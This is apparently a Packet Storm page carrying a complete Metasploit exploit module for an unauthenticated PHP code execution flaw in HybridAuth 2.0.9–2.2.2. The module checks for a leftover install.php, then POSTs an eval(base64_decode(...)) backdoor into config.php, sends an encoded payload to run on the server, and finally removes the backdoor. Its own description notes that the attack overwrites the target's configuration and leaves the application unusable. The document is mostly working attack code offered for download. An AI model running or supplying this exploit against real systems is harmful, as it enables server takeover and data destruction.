Exploit the possiblities

HybridAuth install.php PHP Code Execution

HybridAuth install.php PHP Code Execution
Posted Aug 20, 2014
Authored by Pichaya Morimoto | Site metasploit.com

This Metasploit module exploits a PHP code execution vulnerability in HybridAuth versions 2.0.9 to 2.2.2. The install file 'install.php' is not removed after installation allowing unauthenticated users to write PHP code to the application configuration file 'config.php'. Note: This exploit will overwrite the application configuration file rendering the application unusable.

tags | exploit, php, code execution
MD5 | aee28f6089b3d5d557b8022ff8250c0b

HybridAuth install.php PHP Code Execution

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking # application config.php is overwritten

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'HybridAuth install.php PHP Code Execution',
'Description' => %q{
This module exploits a PHP code execution vulnerability in
HybridAuth versions 2.0.9 to 2.2.2. The install file 'install.php'
is not removed after installation allowing unauthenticated users to
write PHP code to the application configuration file 'config.php'.

Note: This exploit will overwrite the application configuration file
rendering the application unusable.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pichaya Morimoto', # Discovery and PoC
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'References' =>
[
['EDB', '34273'],
['OSVDB','109838']
],
'Arch' => ARCH_PHP,
'Platform' => 'php',
'Targets' =>
[
# Tested:
# HybridAuth versions 2.0.9, 2.0.10, 2.0.11, 2.1.2, 2.2.2 on Apache/2.2.14 (Ubuntu)
['HybridAuth version 2.0.9 to 2.2.2 (PHP Payload)', {}]
],
'Privileged' => false,
'DisclosureDate' => 'Aug 4 2014',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to HybridAuth library', '/hybridauth/'])
], self.class)
end


#
# Check:
# * install.php exists
# * config.php is writable
# * HybridAuth version is 2.0.9 to 2.0.11, 2.1.x, or 2.2.0 to 2.2.2
#
def check
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'install.php')
if !res
vprint_error "#{peer} - Connection failed"
return Exploit::CheckCode::Unknown
elsif res.code == 404
vprint_error "#{peer} - Could not find install.php"
elsif res.body =~ />([^<]+)<\/span> must be <b >WRITABLE</
vprint_error "#{peer} - #{$1} is not writable"
elsif res.body =~ />HybridAuth (2\.[012]\.[\d\.]+(-dev)?) Installer</
version = res.body.scan(/>HybridAuth (2\.[012]\.[\d\.]+(-dev)?) Installer</).first.first
vprint_status "#{peer} - Found version: #{version}"
if version =~ /^2\.(0\.(9|10|11)|1\.[\d]+|2\.[012])/
return Exploit::CheckCode::Vulnerable
else
vprint_error "#{peer} - HybridAuth version #{version} is not vulnerable"
end
end
Exploit::CheckCode::Safe
end

#
# Exploit
#
def exploit
# check vuln
if check != Exploit::CheckCode::Vulnerable
fail_with Exploit::Failure::NotVulnerable, "#{peer} - Target is not vulnerable"
end

# write backdoor
print_status "#{peer} - Writing backdoor to config.php"
payload_param = rand(1000)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'install.php'),
'data' => "OPENID_ADAPTER_STATUS=eval(base64_decode($_POST[#{payload_param}])))));/*"
)
if !res
fail_with Failure::Unknown, "#{peer} - Connection failed"
elsif res.body =~ /Installation completed/
print_good "#{peer} - Wrote backdoor successfully"
else
fail_with Failure::UnexpectedReply, "#{peer} - Coud not write backdoor to 'config.php'"
end

# execute payload
code = Rex::Text.encode_base64(payload.encoded)
print_status "#{peer} - Sending payload to config.php backdoor (#{code.length} bytes)"
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'config.php'),
'data' => "#{payload_param}=#{code}"
}, 5)
if !res
print_warning "#{peer} - No response"
elsif res.code == 404
fail_with Failure::NotFound, "#{peer} - Could not find config.php"
elsif res.code == 200 || res.code == 500
print_good "#{peer} - Sent payload successfully"
end

# remove backdoor
print_status "#{peer} - Removing backdoor from config.php"
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'install.php'),
'data' => 'OPENID_ADAPTER_STATUS='
)
if !res
print_error "#{peer} - Connection failed"
elsif res.body =~ /Installation completed/
print_good "#{peer} - Removed backdoor successfully"
else
print_warning "#{peer} - Could not remove payload from config.php"
end
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    0 Files
  • 17
    Jan 17th
    0 Files
  • 18
    Jan 18th
    0 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close